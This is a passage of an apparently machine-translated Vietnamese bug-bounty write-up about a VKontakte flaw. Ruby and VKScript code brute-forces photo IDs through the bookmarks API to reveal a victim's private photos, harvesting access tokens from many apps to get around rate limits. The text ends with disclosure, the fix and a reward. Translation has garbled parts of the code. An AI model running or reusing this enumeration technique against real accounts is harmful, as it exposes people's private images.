Bạn có thể thêm tất cả những thứ này theo cách thủ công thông qua giao diện hoặc viết một tập lệnh thêm một liên kết vào dấu trang, nhưng điều đó sẽ nhàm chán và tốn thời gian. Tốc độ tìm kiếm trong trường hợp này sẽ là 3 dấu trang mỗi giây, bởi vì gửi nhiều hơn ba yêu cầu mỗi giây đến máy chủ Vkontakte nó bị cấm.

Tăng tốc tìm kiếm x25

Để vượt qua giới hạn 3 yêu cầu ít nhất một chút, tôi quyết định sử dụng phương pháp hành hình. Trong một lệnh gọi phương thức này, có thể thực hiện được 25 lệnh gọi tới phương thức API.

Var start = ParseInt(Args.start); var end = parsInt(Args.end); var nạn nhânId = Args.id; var link = "http://vk.com/photo" + Nạn nhânId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Do đó, chúng tôi đã cố gắng tăng tốc độ bạo lực lên 3*25 dấu trang/giây. Trong năm qua, việc sắp xếp các bức ảnh sẽ mất nhiều thời gian, nhưng trong thời gian ngắn, phương pháp sắp xếp này đã khá tốt.

Chúng tôi tăng tốc tìm kiếm x25 * số lượng yêu cầu song song mỗi giây

Giới hạn về số lượng yêu cầu/giây áp dụng cho từng ứng dụng riêng biệt chứ không áp dụng cho toàn bộ người dùng. Vì vậy, không có gì ngăn cản bạn gửi nhiều yêu cầu song song nhưng đồng thời sử dụng mã thông báo từ các ứng dụng khác nhau.

Đầu tiên chúng tôi cần tìm (hoặc tạo) số lượng ứng dụng cần thiết. Một tập lệnh đã được viết để tìm kiếm các ứng dụng độc lập trong một phạm vi định danh ứng dụng nhất định:

Lớp StandaloneAppsFinder attr_reader:app_ids def khởi tạo(params) @range = params[:in_range] @app_ids = end def search (@range).mỗi do |app_id| phản hồi = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").đọc ứng dụng = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Cũng có thể chọn ứng dụng theo số lượng người dùng để tăng tốc độ tìm kiếm hơn nữa:

Nhưng tôi quyết định không bận tâm đến nó.

Ok, các ứng dụng đã được tìm thấy, bây giờ họ cần cấp quyền cho dữ liệu của người dùng của chúng tôi và nhận mã thông báo. Để được ủy quyền, chúng tôi phải sử dụng cơ chế Dòng ngầm. Tôi đã phải phân tích cú pháp URL ủy quyền từ hộp thoại OAuth và lấy mã thông báo sau khi chuyển hướng. Lớp này yêu cầu cookie để hoạt động. p, tôi(đăng nhập.vk.com) và remix(vk.com):

Trình xác thực lớp attr_reader:access_tokens def khởi tạo(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Vì có nhiều ứng dụng được tìm thấy nên cũng có rất nhiều yêu cầu song song được thực hiện. Để song song hóa toàn bộ vấn đề này, người ta đã quyết định sử dụng đá quý Typhoeus, loại đá quý đã chứng tỏ mình xuất sắc trong các nhiệm vụ khác. Kết quả là một lực lượng vũ phu nhỏ như thế này:

Lớp PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "hôm nay" => 366300000..366500000, "hôm qua" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 3600000 65000000, "current_year" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def khởi tạo(params) @victim_id = params[:victim_id] @ Period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokenIterator = 0 (@ Period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" mã hóa_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokenIterator = tokenIterator == token.count - 1 ? 0: tokenIterator + 1 hydra.queue Typhoeus::Request.new được mã hóa_url hydra.run nếu tokenIterator.zero? kết thúc hydra.run trừ khi hydra.queued_requests.count.zero? kết thúc vkscript def riêng tư(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Để tăng tốc độ bạo lực hơn nữa, đã có nỗ lực loại bỏ cơ thể không cần thiết trong phản ứng, nhưng CÁI ĐẦU Yêu cầu máy chủ VKontakte trả về lỗi 501 Không được thực hiện.

Phiên bản cuối cùng của tập lệnh trông như thế này:

Yêu cầu "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, Period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookie từ login.vk.com # remixsid - cookie từ vk.com Authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") Authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Sau khi chạy chương trình, dấu trang sẽ chứa tất cả ảnh của người dùng trong một khoảng thời gian nhất định. Tất cả những gì còn lại là truy cập phiên bản di động của VKontakte, mở bảng điều khiển trình duyệt, lấy ra các liên kết trực tiếp và thưởng thức những bức ảnh ở kích thước ban đầu.

Kết quả

Nói chung, tất cả phụ thuộc vào kết nối Internet của bạn và tốc độ của máy chủ proxy, độ trễ của máy chủ Vkontakte, sức mạnh bộ xử lý và nhiều yếu tố khác. Sau khi thử đoạn script trên trên tài khoản của mình, tôi nhận được những con số sau (không tính đến thời gian nhận mã thông báo):

Bảng hiển thị thời gian trung bình cần thiết để thử giấy tờ tùy thân có ảnh trong một khoảng thời gian nhất định. Tôi chắc chắn rằng tất cả điều này có thể được tăng tốc lên 10-20 lần. Ví dụ: trong tập lệnh brute Force, hãy tạo một hàng đợi lớn chứa tất cả các yêu cầu và đồng bộ hóa bình thường giữa chúng, bởi vì trong quá trình triển khai của tôi, một yêu cầu có thời gian chờ sẽ làm chậm toàn bộ quá trình. Và nói chung, bạn chỉ cần mua một vài phiên bản trên EC2 và nhận được tất cả ảnh của bất kỳ người dùng nào trong một giờ. Nhưng tôi đã muốn đi ngủ rồi.

Và nói chung, kẻ tấn công dành bao nhiêu thời gian cho việc này không quan trọng, 5 giờ hay cả ngày, bởi vì bằng cách này hay cách khác, hắn sẽ nhận được liên kết đến các hình ảnh riêng tư. Khả năng truy cập thông tin cá nhân một cách an toàn trong một khoảng thời gian hữu hạn là mối đe dọa chính do lỗ hổng này gây ra.

Báo cáo lỗ hổng

Lúc đầu, báo cáo được gửi đến bộ phận hỗ trợ, nhưng sau khi nhận được phản hồi như “cảm ơn bạn, có lẽ chúng tôi sẽ khắc phục được bằng cách nào đó…” và một tuần chờ đợi, tôi cảm thấy hơi buồn. Rất cám ơn Bo0oM, người đã giúp liên hệ trực tiếp với các nhà phát triển. Sau đó, lỗi đã được đóng trong vòng vài giờ và vài ngày sau chính quyền đã chuyển phần thưởng trị giá 10k vào tài khoản của tôi